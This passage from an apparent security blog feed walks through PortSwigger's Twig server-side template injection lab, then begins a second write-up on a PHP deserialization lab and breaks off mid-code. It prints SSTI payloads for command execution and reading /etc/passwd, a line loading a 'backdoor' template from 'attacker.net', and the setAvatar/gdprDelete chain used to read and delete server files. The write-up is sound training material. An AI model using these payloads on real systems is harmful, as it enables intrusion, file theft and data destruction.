<p>This lab was pretty cool, I really enjoyed it, It took me a few days to solve this lab because at first I was going to the wrong direction reading all the stuff in Twig documentation which was unnecessary for this lab. Because in order to exploit most templating engines, you need to read the documentation and find important tips about security issues, warnings, plugins and extensions, FAQ, how to upload custom templates, developer section, how to create custom gadget chains, chaining suitable objects until we can get a useful method which leads to RCE or file read which could cause sensitive information disclosure… all of which can become pretty time-consuming.</p>

<p>I tried to create custom Twig templates, Twig extensions and Twig filters and upload them to the server with the avatar image upload functionality and then run them where I had found template injection, I tried to create custom PHP files, and run them, none of these methods worked because Twig is already a quite hardened templating engine, so I realized I need another approach.</p>

<p>I also pressed ChatGPT very hard asking all kinds of questions about Twig documentation and the syntax on how to create new Twig filters, extensions…</p>

<p>But the answer was simpler than I thought first, it just needed complete attention to the part of Web Security Academy before the lab, actually the description there had the answer in it:</p>

<blockquote>
  <p>Some template engines run in a secure, locked-down environment by default in order to mitigate the associated risks as much as possible. Although this makes it difficult to exploit such templates for remote code execution, <code class="language-plaintext highlighter-rouge">developer-created objects that are exposed to the template can offer a further, less battle-hardened attack surface</code>.</p>
</blockquote>

<blockquote>
  <p>However, while substantial documentation is usually provided for template built-ins, site-specific objects are almost certainly not documented at all. Therefore, working out how to exploit them will require you to investigate the website’s behavior manually to identify the attack surface and construct your own custom exploit accordingly.</p>
</blockquote>

<p><br />
So we should search for developer-created objects, this is tip #1.</p>

<p>Ok, we run the lab, Open Burp Suite and proxy the traffic, log in as the <code class="language-plaintext highlighter-rouge">wiener</code> user, in the <code class="language-plaintext highlighter-rouge">account</code> page, there are two other tips:</p>

<ol start="2">
  <li>We can choose the “Preferred name”:</li>
</ol>

<p>
  <br />
</p>
<img src="https://nima.ninja/blog/assets/2023/ssti-custom-exploit-twig1.png" width="717" height="185" alt="" />
<p>
  <br />
</p>

<p>for example we can choose “First Name”, check Burp and see the request <code class="language-plaintext highlighter-rouge">POST /my-account/change-blog-post-author-display</code> is sent and some part of body is: <code class="language-plaintext highlighter-rouge">blog-post-author-display=user.first_name</code>.</p>

<p>Also post a comment in one of the posts on the website and see that our account’s first name, Peter, is shown as the comment post:</p>

<p>
  <br />
</p>
<img src="https://nima.ninja/blog/assets/2023/ssti-custom-exploit-twig2.png" width="767" height="449" alt="" />
<p>
  <br />
</p>

<p>So our “Preferred name” is reflected in comment post section, we can test if this is vulnerable to template injection:</p>

<p>Send that previous <code class="language-plaintext highlighter-rouge">POST /my-account/change-blog-post-author-display</code> request to Burp repeater and change the <code class="language-plaintext highlighter-rouge">blog-post-author-display</code> in the message body like the following to test for temlpate injection:</p>

<div class="language-plaintext highlighter-rouge">
  <div class="highlight">
    <pre class="highlight">
      <code>blog-post-author-display=user.first_name${{&lt;%[%'"}}
</code>
    </pre>
  </div>
</div>

<p>And send the request, then refresh the post page that we had commented on, now this error is shown:</p>

<p>
  <br />
</p>
<img src="https://nima.ninja/blog/assets/2023/ssti-custom-exploit-twig3.png" width="1384" height="332" alt="Internal server error PHP fatal error multiple lines mentioning twig" />
<p>
  <br />
</p>

<p>Which is quite useful. It shows we are dealing with Twig Template. We can now use some Twig syntax to see if there is template Injection:</p>

<div class="language-plaintext highlighter-rouge">
  <div class="highlight">
    <pre class="highlight">
      <code>blog-post-author-display=user.first_name}}{{7*7
</code>
    </pre>
  </div>
</div>

<p>Then we can see, the result is reflected in our first name in the comments:</p>

<p>
  <br />
</p>
<img src="https://nima.ninja/blog/assets/2023/ssti-custom-exploit-twig4.png" width="727" height="442" alt="The result Peter49 is shown as the name in post comments" />
<p>
  <br />
</p>

<p>So we have template injection, but can we exploit it?</p>

<p>We search for some common Twig payloads and test them in the above section:</p>

<div class="language-php highlighter-rouge">
  <div class="highlight">
    <pre class="highlight">
      <code><span class="p">{{</span><span class="nf">dump</span><span class="p">(</span><span class="n">app</span><span class="p">)}}</span>
<span class="p">{{</span><span class="n">app</span><span class="mf">.</span><span class="n">request</span><span class="mf">.</span><span class="n">server</span><span class="mf">.</span><span class="n">all</span><span class="o">|</span><span class="nb">join</span><span class="p">(</span><span class="s1">','</span><span class="p">)}}</span>

<span class="c1">#File read</span>
<span class="s2">"</span><span class="si">{</span><span class="nv">{'/etc/passwd'|file_excerpt(1,30)}</span><span class="si">}</span><span class="s2">"</span><span class="o">@</span>
<span class="p">{{</span><span class="k">include</span><span class="p">(</span><span class="s2">"wp-config.php"</span><span class="p">)}}</span>

<span class="c1">#Exec code</span>
<span class="p">{{</span><span class="n">_self</span><span class="mf">.</span><span class="n">env</span><span class="mf">.</span><span class="nf">setCache</span><span class="p">(</span><span class="s2">"ftp://attacker.net:2121"</span><span class="p">)}}{{</span><span class="n">_self</span><span class="mf">.</span><span class="n">env</span><span class="mf">.</span><span class="nf">loadTemplate</span><span class="p">(</span><span class="s2">"backdoor"</span><span class="p">)}}</span>
<span class="p">{{</span><span class="n">_self</span><span class="mf">.</span><span class="n">env</span><span class="mf">.</span><span class="nf">registerUndefinedFilterCallback</span><span class="p">(</span><span class="s2">"exec"</span><span class="p">)}}{{</span><span class="n">_self</span><span class="mf">.</span><span class="n">env</span><span class="mf">.</span><span class="nf">getFilter</span><span class="p">(</span><span class="s2">"id"</span><span class="p">)}}</span>
<span class="p">{{</span><span class="n">_self</span><span class="mf">.</span><span class="n">env</span><span class="mf">.</span><span class="nf">registerUndefinedFilterCallback</span><span class="p">(</span><span class="s2">"system"</span><span class="p">)}}{{</span><span class="n">_self</span><span class="mf">.</span><span class="n">env</span><span class="mf">.</span><span class="nf">getFilter</span><span class="p">(</span><span class="s2">"whoami"</span><span class="p">)}}</span>
<span class="p">{{</span><span class="n">_self</span><span class="mf">.</span><span class="n">env</span><span class="mf">.</span><span class="nf">registerUndefinedFilterCallback</span><span class="p">(</span><span class="s2">"system"</span><span class="p">)}}{{</span><span class="n">_self</span><span class="mf">.</span><span class="n">env</span><span class="mf">.</span><span class="nf">getFilter</span><span class="p">(</span><span class="s2">"id;uname -a;hostname"</span><span class="p">)}}</span>
<span class="p">{{[</span><span class="s1">'id'</span><span class="p">]</span><span class="o">|</span><span class="nf">filter</span><span class="p">(</span><span class="s1">'system'</span><span class="p">)}}</span>
<span class="p">{{[</span><span class="s1">'cat\x20/etc/passwd'</span><span class="p">]</span><span class="o">|</span><span class="nf">filter</span><span class="p">(</span><span class="s1">'system'</span><span class="p">)}}</span>
<span class="p">{{[</span><span class="s1">'cat$IFS/etc/passwd'</span><span class="p">]</span><span class="o">|</span><span class="nf">filter</span><span class="p">(</span><span class="s1">'system'</span><span class="p">)}}</span>
</code>
    </pre>
  </div>
</div>

<p>and see none of them actually work, so we still have a template injection that we may be able to use later, so let’s move on:</p>

<ol start="3">
  <li>We also see that we can upload our avatar image here:</li>
</ol>

<p>
  <br />
</p>
<img src="https://nima.ninja/blog/assets/2023/ssti-custom-exploit-twig5.png" width="714" height="179" alt="" />
<p>
  <br />
</p>

<p>First, we upload an actual image and check the request/response, no useful info is found, then let’s see what happens if we don’t select any file and click upload, as we can see we get an error:</p>

<p>
  <br />
</p>
<img src="https://nima.ninja/blog/assets/2023/ssti-custom-exploit-twig6.png" width="752" height="123" alt="PHP fatal error: error in file upload, /home/carlos/avatar_upload.php" />
<p>
  <br />
</p>

<p>Let’s play with this again, this time we try to see if we can upload a PHP file, then click upload, once again we get another error message:</p>

<p>
  <br />
</p>
<img src="https://nima.ninja/blog/assets/2023/ssti-custom-exploit-twig7.png" width="981" height="110" alt="PHP fatal error, uploaded file mime type is not an image" />
<p>
  <br />
</p>

<p>This error is pretty useful, it shows two PHP files and also a <code class="language-plaintext highlighter-rouge">user.setAvatar()</code> method, so this <code class="language-plaintext highlighter-rouge">user</code> object that we also saw in tip #2 might be the developer-created object mentioned in our tip #1 and we might somehow be able to use its <code class="language-plaintext highlighter-rouge">setAvatar</code> method, let’s test it in <code class="language-plaintext highlighter-rouge">POST /my-account/change-blog-post-author-display</code> first:</p>

<div class="language-plaintext highlighter-rouge">
  <div class="highlight">
    <pre class="highlight">
      <code>blog-post-author-display=user.setAvatar()
</code>
    </pre>
  </div>
</div>

<p>Now send the request and refresh the post page we had commented on to see the result, We get this error:</p>

<p>
  <br />
</p>
<img src="https://nima.ninja/blog/assets/2023/ssti-custom-exploit-twig8.png" width="1224" height="300" alt="Internal Server Error, PHP fatal error: Too few arguments" />
<p>
  <br />
</p>

<p>Very good! It shows this method can be used, now let’s see if we can read those two PHP files found in the file upload errors, also notice in that image that <code class="language-plaintext highlighter-rouge">setAvatar()</code> method needs two arguments, first is the file path the second is MIME type, so first let’s try <code class="language-plaintext highlighter-rouge">/home/carlos/User.php</code>:</p>

<div class="language-plaintext highlighter-rouge">
  <div class="highlight">
    <pre class="highlight">
      <code>blog-post-author-display=user.setAvatar('/home/carlos/User.php','application/octet')
</code>
    </pre>
  </div>
</div>

<p>Send the request, refresh the post page, Now we get this error:</p>

<p>
  <br />
</p>
<img src="https://nima.ninja/blog/assets/2023/ssti-custom-exploit-twig9.png" width="1156" height="325" alt="Internal server error, PHP fatal error: uploaded file mime type is not an image" />
<p>
  <br />
</p>

<p>Notice that it needs an image MIME type, so we change the payload like this:</p>

<div class="language-plaintext highlighter-rouge">
  <div class="highlight">
    <pre class="highlight">
      <code>blog-post-author-display=user.setAvatar('/home/carlos/User.php','image/jpeg')
</code>
    </pre>
  </div>
</div>

<p>Send this request, refresh the post page, now something interesting happens:</p>

<p>
  <br />
</p>
<img src="https://nima.ninja/blog/assets/2023/ssti-custom-exploit-twig10.png" width="743" height="109" alt="Broken image icon is shown instead of person name in comments section" />
<p>
  <br />
</p>

<p>It seems our avatar image is successfully set to this PHP file, so we might be able to download and read this file. Now right click on this image and select “Open image in new tab” now the User.php file is downloaded:</p>

<div class="language-php highlighter-rouge">
  <div class="highlight">
    <pre class="highlight">
      <code><span class="cp">&lt;?php</span>

<span class="kd">class</span> <span class="nc">User</span> <span class="p">{</span>
    <span class="k">public</span> <span class="nv">$username</span><span class="p">;</span>
    <span class="k">public</span> <span class="nv">$name</span><span class="p">;</span>
    <span class="k">public</span> <span class="nv">$first_name</span><span class="p">;</span>
    <span class="k">public</span> <span class="nv">$nickname</span><span class="p">;</span>
    <span class="k">public</span> <span class="nv">$user_dir</span><span class="p">;</span>

    <span class="k">public</span> <span class="k">function</span> <span class="n">__construct</span><span class="p">(</span><span class="nv">$username</span><span class="p">,</span> <span class="nv">$name</span><span class="p">,</span> <span class="nv">$first_name</span><span class="p">,</span> <span class="nv">$nickname</span><span class="p">)</span> <span class="p">{</span>
        <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">username</span> <span class="o">=</span> <span class="nv">$username</span><span class="p">;</span>
        <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">name</span> <span class="o">=</span> <span class="nv">$name</span><span class="p">;</span>
        <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">first_name</span> <span class="o">=</span> <span class="nv">$first_name</span><span class="p">;</span>
        <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">nickname</span> <span class="o">=</span> <span class="nv">$nickname</span><span class="p">;</span>
        <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">user_dir</span> <span class="o">=</span> <span class="s2">"users/"</span> <span class="mf">.</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">username</span><span class="p">;</span>
        <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">avatarLink</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">user_dir</span> <span class="mf">.</span> <span class="s2">"/avatar"</span><span class="p">;</span>

        <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nb">file_exists</span><span class="p">(</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="n">user_dir</span><span class="p">))</span> <span class="p">{</span>
            <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nb">mkdir</span><span class="p">(</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="n">user_dir</span><span class="p">,</span> <span class="mo">0755</span><span class="p">,</span> <span class="kc">true</span><span class="p">))</span>
            <span class="p">{</span>
                <span class="k">throw</span> <span class="k">new</span> <span class="nc">Exception</span><span class="p">(</span><span class="s2">"Could not mkdir users/"</span> <span class="mf">.</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">username</span><span class="p">);</span>
            <span class="p">}</span>
        <span class="p">}</span>
    <span class="p">}</span>

    <span class="k">public</span> <span class="k">function</span> <span class="n">setAvatar</span><span class="p">(</span><span class="nv">$filename</span><span class="p">,</span> <span class="nv">$mimetype</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">if</span> <span class="p">(</span><span class="nb">strpos</span><span class="p">(</span><span class="nv">$mimetype</span><span class="p">,</span> <span class="s2">"image/"</span><span class="p">)</span> <span class="o">!==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
            <span class="k">throw</span> <span class="k">new</span> <span class="nc">Exception</span><span class="p">(</span><span class="s2">"Uploaded file mime type is not an image: "</span> <span class="mf">.</span> <span class="nv">$mimetype</span><span class="p">);</span>
        <span class="p">}</span>

        <span class="k">if</span> <span class="p">(</span><span class="nb">is_link</span><span class="p">(</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="n">avatarLink</span><span class="p">))</span> <span class="p">{</span>
            <span class="nv">$this</span><span class="o">-&gt;</span><span class="nf">rm</span><span class="p">(</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="n">avatarLink</span><span class="p">);</span>
        <span class="p">}</span>

        <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nb">symlink</span><span class="p">(</span><span class="nv">$filename</span><span class="p">,</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">avatarLink</span><span class="p">))</span> <span class="p">{</span>
            <span class="k">throw</span> <span class="k">new</span> <span class="nc">Exception</span><span class="p">(</span><span class="s2">"Failed to write symlink "</span> <span class="mf">.</span> <span class="nv">$filename</span> <span class="mf">.</span> <span class="s2">" -&gt; "</span> <span class="mf">.</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">avatarLink</span><span class="p">);</span>
        <span class="p">}</span>
    <span class="p">}</span>

    <span class="k">public</span> <span class="k">function</span> <span class="n">delete</span><span class="p">()</span> <span class="p">{</span>
        <span class="nv">$file</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">user_dir</span> <span class="mf">.</span> <span class="s2">"/disabled"</span><span class="p">;</span>
        <span class="k">if</span> <span class="p">(</span><span class="nb">file_put_contents</span><span class="p">(</span><span class="nv">$file</span><span class="p">,</span> <span class="s2">""</span><span class="p">)</span> <span class="o">===</span> <span class="kc">false</span><span class="p">)</span> <span class="p">{</span>
            <span class="k">throw</span> <span class="k">new</span> <span class="nc">Exception</span><span class="p">(</span><span class="s2">"Could not write to "</span> <span class="mf">.</span> <span class="nv">$file</span><span class="p">);</span>
        <span class="p">}</span>
    <span class="p">}</span>

    <span class="k">public</span> <span class="k">function</span> <span class="n">gdprDelete</span><span class="p">()</span> <span class="p">{</span>
        <span class="nv">$this</span><span class="o">-&gt;</span><span class="nf">rm</span><span class="p">(</span><span class="nb">readlink</span><span class="p">(</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="n">avatarLink</span><span class="p">));</span>
        <span class="nv">$this</span><span class="o">-&gt;</span><span class="nf">rm</span><span class="p">(</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="n">avatarLink</span><span class="p">);</span>
        <span class="nv">$this</span><span class="o">-&gt;</span><span class="nb">delete</span><span class="p">();</span>
    <span class="p">}</span>

    <span class="k">private</span> <span class="k">function</span> <span class="n">rm</span><span class="p">(</span><span class="nv">$filename</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nb">unlink</span><span class="p">(</span><span class="nv">$filename</span><span class="p">))</span> <span class="p">{</span>
            <span class="k">throw</span> <span class="k">new</span> <span class="nc">Exception</span><span class="p">(</span><span class="s2">"Could not delete "</span> <span class="mf">.</span> <span class="nv">$filename</span><span class="p">);</span>
        <span class="p">}</span>
    <span class="p">}</span>
<span class="p">}</span>

<span class="cp">?&gt;</span>
</code>
    </pre>
  </div>
</div>

<p>Do this same step to download avatar_upload.php, We are gathering as much info as we can now that may help us solve the lab:</p>

<div class="language-plaintext highlighter-rouge">
  <div class="highlight">
    <pre class="highlight">
      <code>blog-post-author-display=user.setAvatar('/home/carlos/avatar_upload.php','image/jpeg')
</code>
    </pre>
  </div>
</div>

<p>We get this:</p>

<div class="language-php highlighter-rouge">
  <div class="highlight">
    <pre class="highlight">
      <code><span class="cp">&lt;?php</span>

<span class="k">require_once</span><span class="p">(</span><span class="s2">"./User.php"</span><span class="p">);</span>

<span class="k">if</span> <span class="p">(</span><span class="nv">$_FILES</span><span class="p">[</span><span class="s1">'avatar'</span><span class="p">][</span><span class="s1">'error'</span><span class="p">]</span> <span class="o">!==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">throw</span> <span class="k">new</span> <span class="nc">Exception</span><span class="p">(</span><span class="s2">"Error in file upload: "</span> <span class="mf">.</span> <span class="nv">$_FILES</span><span class="p">[</span><span class="s1">'avatar'</span><span class="p">][</span><span class="s1">'error'</span><span class="p">]);</span>
<span class="p">}</span>

<span class="k">if</span> <span class="p">(</span><span class="nb">strpos</span><span class="p">(</span><span class="nv">$_FILES</span><span class="p">[</span><span class="s1">'avatar'</span><span class="p">][</span><span class="s1">'name'</span><span class="p">],</span> <span class="s2">"/"</span><span class="p">)</span> <span class="o">!==</span> <span class="kc">false</span> <span class="o">||</span> <span class="nb">strpos</span><span class="p">(</span><span class="nv">$_FILES</span><span class="p">[</span><span class="s1">'avatar'</span><span class="p">][</span><span class="s1">'name'</span><span class="p">],</span> <span class="s2">"."</span><span class="p">)</span> <span class="o">===</span> <span class="kc">false</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">throw</span> <span class="k">new</span> <span class="nc">Exception</span><span class="p">(</span><span class="s2">"Uploaded file name is invalid: "</span> <span class="mf">.</span> <span class="nv">$_FILES</span><span class="p">[</span><span class="s1">'avatar'</span><span class="p">][</span><span class="s1">'name'</span><span class="p">]);</span>
<span class="p">}</span>

<span class="nv">$file</span> <span class="o">=</span> <span class="s2">"/tmp/"</span> <span class="mf">.</span> <span class="nv">$_FILES</span><span class="p">[</span><span class="s1">'avatar'</span><span class="p">][</span><span class="s1">'name'</span><span class="p">];</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nb">move_uploaded_file</span><span class="p">(</span><span class="nv">$_FILES</span><span class="p">[</span><span class="s1">'avatar'</span><span class="p">][</span><span class="s1">'tmp_name'</span><span class="p">],</span> <span class="nv">$file</span><span class="p">))</span> <span class="p">{</span>
    <span class="k">throw</span> <span class="k">new</span> <span class="nc">Exception</span><span class="p">(</span><span class="s2">"Could not move uploaded file '"</span> <span class="mf">.</span> <span class="nv">$_FILES</span><span class="p">[</span><span class="s1">'avatar'</span><span class="p">][</span><span class="s1">'tmp_name'</span><span class="p">]</span> <span class="mf">.</span> <span class="s2">"' to '"</span> <span class="mf">.</span> <span class="nv">$file</span> <span class="mf">.</span> <span class="s2">"'"</span><span class="p">);</span>
<span class="p">}</span>

<span class="nv">$user</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">User</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">'user'</span><span class="p">],</span> <span class="kc">null</span><span class="p">,</span> <span class="kc">null</span><span class="p">,</span> <span class="kc">null</span><span class="p">);</span>
<span class="nv">$user</span><span class="o">-&gt;</span><span class="nf">setAvatar</span><span class="p">(</span><span class="nv">$file</span><span class="p">,</span> <span class="nv">$_FILES</span><span class="p">[</span><span class="s1">'avatar'</span><span class="p">][</span><span class="s1">'type'</span><span class="p">]);</span>
<span class="nb">header</span><span class="p">(</span><span class="s1">'Location: ./'</span><span class="p">);</span>

<span class="cp">?&gt;</span>
</code>
    </pre>
  </div>
</div>

<p>Now check the codes of these two files that are used in file upload functionality, we find an interesting public method: <code class="language-plaintext highlighter-rouge">gdprDelete()</code>, It is used to delete an avatar image and its symbolic link, so this might be our answer, first we set our avatar image as follows, with the file that should be deleted:</p>

<div class="language-plaintext highlighter-rouge">
  <div class="highlight">
    <pre class="highlight">
      <code>blog-post-author-display=user.setAvatar('/home/carlos/.ssh/id_rsa','image/jpeg')
</code>
    </pre>
  </div>
</div>

<p>Then we send this request and refresh the post page we had commented, then check if this file is set as our avatar image, right click and open it, it contains:</p>

<div class="language-plaintext highlighter-rouge">
  <div class="highlight">
    <pre class="highlight">
      <code>Nothing to see here :)
</code>
    </pre>
  </div>
</div>

<p>So the file is set correctly as our avatar image, now we send the following payload using the function that we had found in User.php file, according to the code that we had downloaded, now this file and also the symbolic link that was made when <code class="language-plaintext highlighter-rouge">setAvatar()</code> function was called should be deleted, let’s see:</p>

<div class="language-plaintext highlighter-rouge">
  <div class="highlight">
    <pre class="highlight">
      <code>blog-post-author-display=user.gdprDelete()
</code>
    </pre>
  </div>
</div>

<p>We send this request and refresh the post page that we had commented on to execute the payload and booom! The <code class="language-plaintext highlighter-rouge">/home/carlos/.ssh/id_rsa</code> file is deleted and the lab is solved!</p>

<p>
  <br />
</p>
<h4 id="warning-1">
  <strong>Warning</strong>
</h4>

<p>Be careful with <code class="language-plaintext highlighter-rouge">gdprDelete()</code> method, if it is called after:</p>

<div class="language-plaintext highlighter-rouge">
  <div class="highlight">
    <pre class="highlight">
      <code>blog-post-author-display=user.setAvatar('/home/carlos/User.php','image/jpeg')
</code>
    </pre>
  </div>
</div>

<p>or this:</p>

<div class="language-plaintext highlighter-rouge">
  <div class="highlight">
    <pre class="highlight">
      <code>blog-post-author-display=user.setAvatar('/home/carlos/avatar_upload.php','image/jpeg')
</code>
    </pre>
  </div>
</div>

<p>These files are deleted from the server and since they have vital functionality for the server, we may inadvertently damage the server and may need to wait for 20 minutes for the lab server to reset.</p>

<p>
  <br />
</p>
<h3 id="solution-2--web-security-academys-solution">Solution 2:  Web Security Academy’s Solution</h3>

<ol>
  <li>
    <p>While proxying traffic through Burp, log in and post a comment on one of the blogs.</p>
  </li>
  <li>
    <p>Go to the “My account” page. Notice that the functionality for setting a preferred name is vulnerable to server-side template injection, as we saw in a previous lab. You should also have noticed that you have access to the <code class="language-plaintext highlighter-rouge">user</code> object.</p>
  </li>
  <li>
    <p>Investigate the custom avatar functionality. Notice that when you upload an invalid image, the error message discloses a method called <code class="language-plaintext highlighter-rouge">user.setAvatar()</code>. Also take note of the file path <code class="language-plaintext highlighter-rouge">/home/carlos/User.php</code>. You will need this later.</p>
  </li>
  <li>
    <p>Upload a valid image as your avatar and load the page containing your test comment.</p>
  </li>
  <li>
    <p>In Burp Repeater, open the <code class="language-plaintext highlighter-rouge">POST</code> request for changing your preferred name and use the <code class="language-plaintext highlighter-rouge">blog-post-author-display</code> parameter to set an arbitrary file as your avatar:</p>
  </li>
</ol>

<div class="language-php highlighter-rouge">
  <div class="highlight">
    <pre class="highlight">
      <code><span class="n">user</span><span class="mf">.</span><span class="nf">setAvatar</span><span class="p">(</span><span class="s1">'/etc/passwd'</span><span class="p">)</span>
</code>
    </pre>
  </div>
</div>

<ol start="6">
  <li>Load the page containing your test comment to render the template. Notice that the error message indicates that you need to provide an image MIME type as the second argument. Provide this argument and view the comment again to refresh the template:</li>
</ol>

<div class="language-php highlighter-rouge">
  <div class="highlight">
    <pre class="highlight">
      <code><span class="n">user</span><span class="mf">.</span><span class="nf">setAvatar</span><span class="p">(</span><span class="s1">'/etc/passwd'</span><span class="p">,</span><span class="s1">'image/jpg'</span><span class="p">)</span>
</code>
    </pre>
  </div>
</div>

<ol start="7">
  <li>
    <p>To read the file, load the avatar using <code class="language-plaintext highlighter-rouge">GET /avatar?avatar=wiener</code>. This will return the contents of the <code class="language-plaintext highlighter-rouge">/etc/passwd</code> file, confirming that you have access to arbitrary files.</p>
  </li>
  <li>
    <p>Repeat this process to read the PHP file that you noted down earlier:</p>
  </li>
</ol>

<div class="language-php highlighter-rouge">
  <div class="highlight">
    <pre class="highlight">
      <code><span class="n">user</span><span class="mf">.</span><span class="nf">setAvatar</span><span class="p">(</span><span class="s1">'/home/carlos/User.php'</span><span class="p">,</span><span class="s1">'image/jpg'</span><span class="p">)</span>
</code>
    </pre>
  </div>
</div>

<ol start="9">
  <li>
    <p>In the PHP file, Notice that you have access to the <code class="language-plaintext highlighter-rouge">gdprDelete()</code> function, which deletes the user’s avatar. You can combine this knowledge to delete Carlos’s file.</p>
  </li>
  <li>
    <p>First set the target file as your avatar, then view the comment to execute the template:</p>
  </li>
</ol>

<div class="language-php highlighter-rouge">
  <div class="highlight">
    <pre class="highlight">
      <code><span class="n">user</span><span class="mf">.</span><span class="nf">setAvatar</span><span class="p">(</span><span class="s1">'/home/carlos/.ssh/id_rsa'</span><span class="p">,</span><span class="s1">'image/jpg'</span><span class="p">)</span>
</code>
    </pre>
  </div>
</div>

<ol start="11">
  <li>Invoke the <code class="language-plaintext highlighter-rouge">user.gdprDelete()</code> method and view your comment again to solve the lab.</li>
</ol>

<p>
  <br />
</p>
<h2 id="external-links">
  <em>External Links</em>
</h2>
<hr />
<ul>
  <li>
    <h3 id="lab-server-side-template-injection-with-a-custom-exploit"><a href="https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-with-a-custom-exploit">Lab: Server-side template injection with a custom exploit</a></h3>
  </li>
</ul>

<p>
  <br />
</p>
<h2 id="references">
  <em>References</em>
</h2>
<hr />


          ]]>
        </description>

        <pubDate>Mon, 24 Apr 2023 00:00:00 -0500</pubDate>
        <link>https://nima.ninja/blog/2023/expert-lab-server-side-template-injection-with-a-custom-exploit</link>
        <guid isPermaLink="true">https://nima.ninja/blog/2023/expert-lab-server-side-template-injection-with-a-custom-exploit</guid>

        
          <media:content url="https://nima.ninja/blog/assets/2023/ssti-custom-exploit-twig.png" medium="image" />
        

        
          <category>blog</category>
        
        
          <category>Web Application Security</category>
        
          <category>Web Security Academy</category>
        
          <category>Expert Labs</category>
        
          <category>Server-Side Template Injection</category>
        
          <category>SSTI</category>
        
          <category>PHP</category>
        
          <category>Twig</category>
        
      </item>
    
      <item>
        <title>Expert Lab: Developing a custom gadget chain for PHP deserialization</title>

        <description>
          <![CDATA[
            
              <p><img src="https://nima.ninja/blog/assets/2023/supply-chain2.png" alt="Expert Lab: Developing a custom gadget chain for PHP deserialization" /></p>
            

            <p>
  <br />
</p>

<p>
<br /></p>

<!--TOC-->

<p>
  <br />
</p>

<h2 id="lab-link">Lab Link</h2>
<hr />
<p>
  <a href="https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-developing-a-custom-gadget-chain-for-php-deserialization">Lab: Developing a custom gadget chain for PHP deserialization</a>
</p>

<p>
  <br />
</p>
<h2 id="lab-description">Lab Description</h2>
<hr />
<p><br />
This lab uses a serialization-based session mechanism. By deploying a custom gadget chain, you can exploit its insecure deserialization to achieve remote code execution. To solve the lab, delete the morale.txt file from Carlos’s home directory.</p>

<p>You can log in to your own account using the following credentials: wiener:peter</p>

<p>
  <br />
</p>
<h2 id="lab-hint">Lab Hint</h2>
<hr />
<p><br />
You can sometimes read source code by appending a tilde (~) to a filename to retrieve an editor-generated backup file.</p>

<p>
  <br />
</p>
<h2 id="solutions">Solutions</h2>
<hr />
<p>
  <br />
</p>
<h3 id="solution-1-my-solution">Solution 1: My Solution</h3>
<p>We check the source of web pages and in all of them, there is a single line of code:</p>

<div class="language-html highlighter-rouge">
  <div class="highlight">
    <pre class="highlight">
      <code><span class="c">&lt;!-- TODO: Refactor once /cgi-bin/libs/CustomTemplate.php is updated --&gt;</span>
</code>
    </pre>
  </div>
</div>

<p>So we check this link in the browser, as the lab hint suggests, we can grab a copy of editor backup version of this file by adding a tilde(<code class="language-plaintext highlighter-rouge">~</code>) at the end of the file like this:</p>

<pre>
  <code class="language-url">https://YOUR-LAB-ID.web-security-academy.net/cgi-bin/libs/CustomTemplate.php~
</code>
</pre>

<p>So we get the following php code:</p>

<div class="language-php highlighter-rouge">
  <div class="highlight">
    <pre class="highlight">
      <code><span class="cp">&lt;?php</span>

<span class="kd">class</span> <span class="nc">CustomTemplate</span> <span class="p">{</span>
    <span class="k">private</span> <span class="nv">$default_desc_type</span><span class="p">;</span>
    <span class="k">private</span> <span class="nv">$desc</span><span class="p">;</span>
    <span class="k">public</span> <span class="nv">$product</span><span class="p">;</span>

    <span class="k">public</span> <span class="k">function</span> <span class="n">__construct</span><span class="p">(</span><span class="nv">$desc_type</span><span class="o">=</span><span class="s1">'HTML_DESC'</span><span class="p">)</span> <span class="p">{</span>
        <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">desc</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Description</span><span class="p">();</span>
        <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">default_desc_type</span> <span class="o">=</span> <span class="nv">$desc_type</span><span class="p">;</span>
        <span class="c1">// Carlos thought this is cool, having a function called in two places... What a genius</span>
        <span class="nv">$this</span><span class="o">-&gt;</span><span class="nf">build_product</span><span class="p">();</span>
    <span class="p">}</span>

    <span class="k">public</span> <span class="k">function</span> <span class="n">__sleep</span><span class="p">()</span> <span class="p">{</span>
        <span class="k">return</span> <span class="p">[</span><span class="s2">"default_desc_type"</span><span class="p">,</span> <span class="s2">"desc"</span><span class="p">];</span>
    <span class="p">}</span>

    <span class="k">public</span> <span class="k">function</span> <span class="n">__wakeup</span><span class="p">()</span> <span class="p">{</span>
        <span class="nv">$this</span><span class="o">-&gt;</span><span class="nf">build_product</span><span class="p">();</span>
    <span class="p">}</span>

    <span class="k">private</span> <span class="k">function</span> <span class="n">build_product</span><span class="p">()</span> <span class="p">{</span>
